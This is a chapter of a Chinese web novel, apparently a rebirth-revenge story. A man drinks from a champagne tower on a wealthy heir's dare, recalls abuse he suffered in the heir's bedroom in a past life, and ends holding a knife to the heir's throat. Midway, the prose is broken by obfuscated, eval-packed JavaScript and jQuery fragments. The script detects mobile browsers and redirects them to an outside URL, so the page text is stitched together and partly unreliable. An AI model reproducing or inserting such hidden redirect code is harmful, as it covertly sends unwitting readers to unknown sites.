谢萦珠将第二个喝空的酒杯倒扣在桌上,扶着桌子有些急促地喘着气。
他平日本就很少喝酒,虽然香槟的度数并不高,但是连续两杯灌下,让他的胃里一阵翻江倒海,眼前一阵发晕。
刚刚听见了两人赌约的少爷小姐们看着谢萦珠窃窃私语。
“听说他早就得罪了应少爷,这下可惨了。”
“你记得之前那个谁就是这么被应少爷折腾得进了精神病院么?”
“为了钱至于把自己的命都搭进去吗?”
“今天不是二少生日?应家老爷子同意他这么胡闹吗?”
......
旁人小声说的话在谢萦珠耳朵里听的并不真切。
他又连续把第三杯和第四杯喝完,脸颊上已经飞上了绯色,眼睛蒙着一层水雾,眼尾泛红,带着钩子似的在灯光下妖冶得惊人。周围有几个人原本只是在看热闹,这会儿已经看得两眼发直,还有人对他轻佻地垂了几声口哨。
“应少,这是你带来的人?”
一个满脸横肉的胖子从人群中挤了过来,和应承宴套近乎。
这人应承宴都不认识是谁。
“刚才在门口和应少有矛盾的也是他吧?”对方见应承宴没回答,大着胆子继续说,“您要是不想再包他,我是不是可以......”
应承宴恍然。
原来是个对谢萦珠有想法的。
他笑了下:“就算是我不想要了,你觉得你也配吗?”
胖子干咳一声:“这不是看您没那个兴致,正好我也......”
“滚,”应承宴脸上还带着笑,但说出来的话却不客气,“要我请你出去吗?”
胖子脸上的笑僵了一下,自讨没趣,讪讪地走了。
应承宴的目光落在谢萦珠的身上,发现他手边已经摆了七个空酒杯。
这个疯子。
之前应承宴只觉得谢萦珠是个势利眼,是个市侩的戏子,懂什么是见好就收,懂什么是明哲保身。他说让谢萦珠把香槟塔喝完也只是想在别人面前羞辱他一下,以为谢萦珠会知难而退,却没想到他这是和自己来真的。
应承宴只是想让谢萦珠吃瘪,让他出丑,但没打算要他的命。
谢萦珠喝完第八杯酒,手抖得几乎拿不住下一只酒杯。
他意识还算清醒,只是之前没吃东西,现在空腹喝了八杯酒,胃里灼烧得吓人。他手腕一软,酒液从杯中泼出来大半,打湿了他的袖口。
“这么喝要出事的......”
谢萦珠恍惚间听见了惊呼声,却还固执地将剩下的香槟一饮而尽。
下一秒,一只手扣住了他的手腕。
谢萦珠手腕一疼,酒杯“啪”地一声在地上摔得粉身碎骨。
谢萦珠迷蒙的目光看向来人,看清是谁后有些惊讶:“嗯?”
应承宴双目泛红,脸颊的肌肉紧绷,目光凶得像要杀了他,半晌才从牙缝里挤出一句话:“不要命吗?”
“别急啊,应少爷,”谢萦珠顺势攥住他的手指,“才八杯而已。”
他将应承宴惊疑不定的目光收入眼中,微微眯眼,轻笑:“我是个守信用的人,应少爷,这座香槟塔还有很多呢。”
“钱就这么重要吗?”应承宴问他,“比命都重要?”
谢萦珠细细打量着他的表情,半晌后点了点头:“对。”
应承宴只觉得心中升起一阵无名火,气得他想抓起一支酒杯把里面的酒浇到谢萦珠头上。
可他忍了忍还是没这么干。
谢萦珠明摆着是个只认钱不认人的拜金戏子,他和这样一个戏子较什么劲呢?更何况谢萦珠现在和他半毛钱关系都没有,他又有什么必要因为别人对他的垂涎生气?
应承宴觉得自己很怪,一面看不上谢萦珠,一面又不想让这么多人看着他。
兴许是大家都喝了点酒,胆子都大了起来,旁边一个不知哪家的少爷忽然开口,带着几分玩笑的意味调侃道:“应少,不是说好了让他喝完一整座香槟塔吗?大家这都等着看呢,别玩不起啊。”
他说完,不少人都跟着附和,不怀好意的目光悉数落在谢萦珠的身上,像在审视一件商品,而不是一个人。
“是应少爷钱给的不够吗?”他又问,眸子里满是恶劣的笑,“不够我可以再出点!”
他抖了个并不好笑的机灵,可身边的人还是配合着他一起笑了起来。
谢萦珠微微垂眸,假装不胜酒力,可眸色仍清明,静静地看着脚下干净的地砖,轻笑了一声。
有钱人啊,他想。
就是这样肮脏,这样不把普通人的命当命,喜欢看普通人因为他们的钱丧失自尊,好像能从中获得巨大的快感。
真恶心。
应承宴还攥着他的手腕,捏得他有点疼。他轻轻地“嘶”了一声,一开口,声音因为酒精黏糊糊的:“应大少爷,你牵够了没有?我还得把剩下的酒喝了呢。”
应承宴回头瞪了他一眼,继而开口,声音冰冷:“你想看他喝酒吗?”
被他点到名字的那个就是最开始起哄的人,这会儿有点莫名其妙地看着他:“刚刚不是说好的吗?”
谢萦珠轻轻眨了下眼,似乎生怕火烧得不够似的,轻声说:“我是和应少爷约好的,没和你说好呀。”
对方愣在原地,原以为应承宴会让这个戏子好看,却没想到传闻中一向脾气很差的应家大少爷冷笑一声,反而附和着谢萦珠的话说:“对啊,他和我约好的,跟你有什么关系?”
“还是说,你就想看别人喝酒?”
应承宴依旧牵着谢萦珠的手腕,却一步步逼近他:“那我陪你喝怎么样?”
“你......你别乱来!”
那人被应承宴这股疯劲吓着了,声音有些颤抖:“我是应承舒的朋友,我是来参加他的生日会的,你别惹事啊我警告你!”
“应承舒?”
应承宴嗤笑一声,将一杯香槟扣在他头上,慢条斯理地说:“这办生日宴用的还是我的钱,他应承舒算个什么东西?”
***
最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491255|170150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应承宴喝倒了好几个人,谢萦珠恰好在他身边,被应家的管家嘱咐将他送回楼上的房间里。
“您......注意着点路,”管家说,“如果不认识的话问路过的用人就好。”
谢萦珠脸颊的绯色还没褪去,轻轻点了点头:“您不用担心,我认识路。”
管家有些惊讶地看了他一眼。
是少爷带他回过家吗?为什么会这样说?
他还没来得及问,有人喊他过去帮忙,他只能将这个问题匆匆咽下。
谢萦珠半搂半扶着应承宴走上楼梯,轻车熟路地在别墅里找到了应承宴的屋子。
他将人放在床上,正准备起身,却没想到对方一伸手,将他整个人搂在了怀里。
谢萦珠眯起眼,声音里带着几分调笑:“我以为应少爷醉了。”
应承宴扯着唇角笑了下,声音沙哑,但却透着股威胁的意味:“害我喝这么多酒,还想跑?”
谢萦珠眨眨眼,无辜道:“我说了要喝完香槟塔,是应少爷不让我喝的呀。”
应承宴本就喝得脑子发昏,这会儿听了他状若无辜的话,恨得牙痒痒,扣着谢萦珠的下巴就要吻上那双爱骗人的唇,却又闻到了那股薄荷烟的味道,让他的意识倏地清醒了一瞬。
“你醉了,”谢萦珠淡淡说,“睡吧。”
他说的话好像有什么催眠的魔力,应承宴听后果真觉得眼皮有些沉,扣着谢萦珠下巴的手一松,整个人沉沉地睡了过去。
谢萦珠坐在床上看了他半晌,而后起身,慢慢地观察着这间房间。
书柜里摆着琳琅满目的书,有一部分显然被人翻旧了,有一部分封皮还没拆,买回来主人都没动过,谢萦珠闭上眼都能知道那本书的名字是什么,将会在未来的哪个时刻被砸在自己的头上。
门后放着高尔夫球杆,是一套外国的高级货,在港城首发,以应家的财力才能在首发当日预订一套,而那名贵的球杆,也会在不远的将来抽在自己的背上,在错综的伤痕上再添一道浓墨重彩的新疤。
再转过去是一面巨大的落地玻璃,被家中清洁阿姨打扫得一尘不染,能照出人影。谢萦珠抬手按在玻璃窗上,看着玻璃上映出的自己的眉眼,牵起唇角笑了下。应承宴惯于在这个位置羞辱他,抚摸着他背上被皮带抽出来的血痕,而后进入他,哪怕楼下总是人来人往。
谢萦珠在屋里转了一圈,老朋友似的抚过那些存在于他记忆中的事物,眼中却没有半分怀念,反而是无穷的冰冷。
他重新坐回床边,看着床上人酣然入睡的脸,抬手轻轻抚上他的脸颊。
似乎感受到了他的动作,应承宴在他手上蹭了蹭,含糊地不知喊了谁的名字。
谢萦珠俯身,听见他喃喃着喊的是“妈妈”。
恶鬼也会有思念的人吗?
谢萦珠唇角微翘,一柄尖锐的短刀从袖口滑出,抵在应承宴的侧颈。
是啊,他也不是什么好人,也不是什么单纯的只爱财的演员。
他是带着血海深仇重生回来的,另一只恶鬼。